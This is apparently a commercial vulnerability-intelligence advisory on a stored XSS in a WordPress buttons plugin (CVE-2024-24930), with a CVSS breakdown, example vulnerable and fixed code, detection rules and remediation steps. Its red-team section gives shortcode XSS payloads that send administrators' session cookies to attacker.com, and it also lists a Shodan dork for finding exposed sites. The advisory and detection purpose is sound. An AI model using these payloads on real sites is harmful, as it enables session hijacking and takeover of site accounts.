☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Otwthemes.com logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-24930

CVE-2024-24930 Cross-Site Scripting in Otwthemes.com
📅 PUBLISHED: 2024-02-12 05:56 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
1.9× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-24930 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Buttons Shortcode and Widget plugin for WordPress, developed by OTWthemes.com. This plugin, up to version 1.16, fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into the plugin's shortcode or widget settings. When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it allows stored payloads to persist across page loads and affect all users, including site administrators. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact on confidentiality, integrity, and availability is significant in a multi-tenant or high-traffic WordPress environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism. However, the lack of a patch from the vendor means that all sites using this plugin are at risk until a fix is released or the plugin is removed.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required – The victim must view the compromised page.
  • Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify data (e.g., defacement).
  • Availability (A): Low – Limited impact on availability (e.g., redirects).

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the prevalence of WordPress sites make this a significant threat for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the Buttons Shortcode and Widget plugin's handling of shortcode attributes and widget settings. The plugin allows users to create custom buttons via shortcodes like [button text="Click Me" url="http://example.com"]. The text, url, and other attributes are not sanitized or escaped before being rendered in the HTML output.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_url(), wp_kses_post()). This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An attacker with contributor-level access creates a new post or page.
  2. The attacker inserts the vulnerable shortcode with a malicious payload in the text attribute, e.g., [button text="<script>alert('XSS')</script>" url="#"].
  3. When the post is saved, the payload is stored in the database.
  4. When an administrator or other user views the post, the plugin renders the shortcode without sanitization, executing the script in the victim's browser.

WordPress Context: This is a classic stored XSS in the WordPress ecosystem. The plugin's failure to follow WordPress coding standards (specifically, escaping output) is the direct cause. The vulnerability is not related to Apache or Nginx configuration.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (buttons-shortcode-and-widget.php):

function buttons_shortcode($atts) {
    extract(shortcode_atts(array(
        'text' => 'Click Me',
        'url' => '#',
    ), $atts));
    return '<a href="' . $url . '" class="button">' . $text . '</a>';
}
add_shortcode('button', 'buttons_shortcode');

Patched Code (Hypothetical Fix):

function buttons_shortcode($atts) {
    $atts = shortcode_atts(array(
        'text' => 'Click Me',
        'url' => '#',
    ), $atts);
    $safe_text = esc_html($atts['text']);
    $safe_url = esc_url($atts['url']);
    return '<a href="' . $safe_url . '" class="button">' . $safe_text . '</a>';
}
add_shortcode('button', 'buttons_shortcode');

The fix uses esc_html() to neutralize HTML tags in the text and esc_url() to ensure the URL is safe.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

  • A WordPress site with the Buttons Shortcode and Widget plugin (version <= 1.16) installed and activated.
  • A user account with at least Contributor role.

Exploitation Steps:

  1. Log in to the WordPress admin panel as a contributor.
  2. Create a new post or page.
  3. In the content editor, insert the following shortcode:
    [button text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" url="#"]
    
  4. Publish the post.
  5. Wait for an administrator to view the post. The script will execute, sending the admin's session cookie to the attacker's server.

Advanced Payload:

[button text="<img src=x onerror='new Image().src=\"https://attacker.com/steal?data=\"+document.cookie'>" url="#"]

Blue Team (Defender) Perspective

Detection:

  • Monitor for posts containing suspicious shortcode attributes (e.g., <script>, onerror, onload).
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
  • Review WordPress user roles and limit contributor access to trusted users only.

Mitigation:

  • Immediately disable or remove the Buttons Shortcode and Widget plugin.
  • If the plugin is essential, manually patch the vulnerable code as shown above.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/buttons-shortcode-and-widget/buttons-shortcode-and-widget.php (version <= 1.16)
  • Database: Posts or pages containing shortcodes with malicious attributes (e.g., text="<script>...")
  • Network: Outbound connections to attacker-controlled domains from the WordPress server (e.g., attacker.com/steal)
  • Logs: WordPress audit logs showing creation of posts by contributors with unusual shortcode patterns.

Detection Engineering

YARA Rule

rule CVE_2024_24930_Stored_XSS {
    meta:
        description = "Detects malicious shortcode patterns in WordPress posts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24930"
    strings:
        $shortcode = /\[button\s+[^\]]*text\s*=\s*["'][^"']*<script[^>]*>/
        $onerror = /\[button\s+[^\]]*text\s*=\s*["'][^"']*onerror\s*=/
        $onload = /\[button\s+[^\]]*text\s*=\s*["'][^"']*onload\s*=/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-24930 Stored XSS via Buttons Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode patterns
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[button text="<script>'
            - '[button text="<img'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24930 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_ajax_"; http_client_body; pcre:"/<script[^>]*>.*document\.cookie/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the Buttons Shortcode and Widget plugin from all WordPress installations.
  2. Scan for compromise: Use a security plugin (e.g., Wordfence) to scan for malicious shortcodes in posts and pages.
  3. Change admin credentials: If any admin viewed a compromised page, force password resets and invalidate all sessions.

Long-term Fix:

  • Since the vendor has not released a patch, consider forking the plugin and applying the fix shown in the "Vulnerable vs. Patched Code" section.
  • Alternatively, replace the plugin with a secure alternative (e.g., "MaxButtons" or "Shortcodes Ultimate").

Preventive Measures:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers to block inline scripts.
  • Regularly audit WordPress plugins and remove unused ones.
  • Limit user roles and permissions to minimize the attack surface.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/buttons-shortcode-and-widget"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-24930/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.